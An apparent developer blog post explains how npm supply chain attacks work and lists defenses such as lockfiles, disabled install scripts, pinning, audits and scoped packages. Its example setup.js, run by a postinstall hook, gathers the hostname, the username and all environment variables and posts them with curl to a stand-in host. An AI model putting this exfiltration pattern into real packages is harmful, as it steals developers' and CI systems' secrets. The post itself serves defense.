When Dependencies Ship More Than We Bargained For

How npm supply chain attacks work, why they are hard to stop, and the few defenses I actually use.

#JavaScript#Node.js

Popular packages get hijacked. Maintainers get tired and hand the project over to some stranger. Typosquatted names sit in production for months before anyone notices. So once you have seen a few of these, supply chain attacks stop sounding like something out of a vendor whitepaper. In this post I will say a word on how they work and on the few defenses which I actually use.

Four ways a bad package gets in

The simplest one is typosquatting. You publish lodsah and you wait for someone to mistype lodash. And it works more often than you would think.

Maintainer account takeover worries me more. Someone gets into one npm account, pushes a new version of a package which half the registry depends on, and every project with a loose version range pulls it in on the next install.

Dependency confusion is harder to spot. So say a company has private packages whose names don't exist on the public registry. An attacker publishes a package with that exact name on the public registry, and many build systems pick the public one.

Then there are post-install scripts. The postinstall hook in package.json runs arbitrary code the moment a package is written to disk. Not when you import it. When you install it. And that timing is the whole problem.

Here is roughly how a malicious package.json looks like:

{
  "name": "totally-legit-utils",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node setup.js"
  }
}

And setup.js:

const { execSync } = require('child_process');
const os = require('os');

const data = {
  hostname: os.hostname(),
  user: os.userInfo().username,
  env: process.env
};

execSync(`curl -X POST -d '${JSON.stringify(data)}' https://exfil.example.com/collect`);

So that sends your hostname, username, and every environment variable to a server which you have never heard of. On a CI box these variables are full of API keys, tokens, and deploy secrets. None of your code ran. You just installed.

And you mostly can not stop this. JavaScript projects have deep dependency trees. You install one package and get fifty more as transitive dependencies. Maybe you read the source of the top-level package. But did you read everything which it depends on?

# Count your actual dependency tree
ls node_modules | wc -l

The other problem is that npm accepts patch and minor updates by default. A ^1.0.0 range means anything from 1.0.0 up to, but not including, 2.0.0. So if 1.0.1 is compromised, you get it automatically the next time someone installs.

Defenses I actually use

First, lock dependencies and commit the lockfile. package-lock.json or yarn.lock makes sure everyone on the team, and CI, installs the same versions.

# Use ci instead of install in CI/CD pipelines
npm ci

npm ci installs exactly what is in the lockfile. So if the lockfile no longer matches package.json, it fails with an error instead of quietly resolving something new.

Next, turn off postinstall scripts for packages which you don't trust:

npm install --ignore-scripts

Or you set it once in .npmrc:

ignore-scripts=true

Some real packages use postinstall in order to compile native bindings, so you will have to run these steps by hand.

For the dependencies which you really care about, pin exact versions. Instead of ^1.2.3, write 1.2.3. You lose automatic patches, but you know exactly what you get.

{
  "dependencies": {
    "express": "4.21.2",
    "pg": "8.13.1"
  }
}

Run npm audit now and then:

npm audit

There is a lot of noise. Many findings are in dev dependencies, in code which never runs in production, so the first few times it feels useless. But read it anyway. Once in a while there is a real problem buried in there.

For internal packages, publish them under a scope. Putting them under @yourcompany/package-name stops dependency confusion, because nobody can take that scope on the public registry without owning the org.

{
  "dependencies": {
    "@yourcompany/auth": "2.1.0",
    "@yourcompany/logging": "1.4.0"
  }
}
Past npm audit

Socket.dev looks at what a package actually does: network calls in postinstall, obfuscated code, a maintainer who changed last week. So it does not just match the package against known CVEs. Snyk and GitHub's Dependabot handle the basic vulnerability scanning and open PRs in order to bump compromised versions for you. Without them this kind of work sits in a backlog and never gets done.

Lockfile-lint checks that your lockfile hasn't been tampered with and that every package resolves to the registry which you expect:

npx lockfile-lint --path package-lock.json --type npm --allowed-hosts npm --validate-https

None of this catches everything. The system runs on trust, and trust does not scale to thousands of strangers. Every npm install runs their code with your permissions, on your laptop or your CI runner.

And a fair amount of the time you don't need the package at all. Left-pad was a few lines, and the standard library has done that job on its own for years:

// Do you really need a package for this?
const leftPad = (str, len, ch = ' ') => str.padStart(len, ch);

So as a conclusion, lock your dependencies, turn off the scripts which you don't trust, and ask yourself every time if you really need one more package.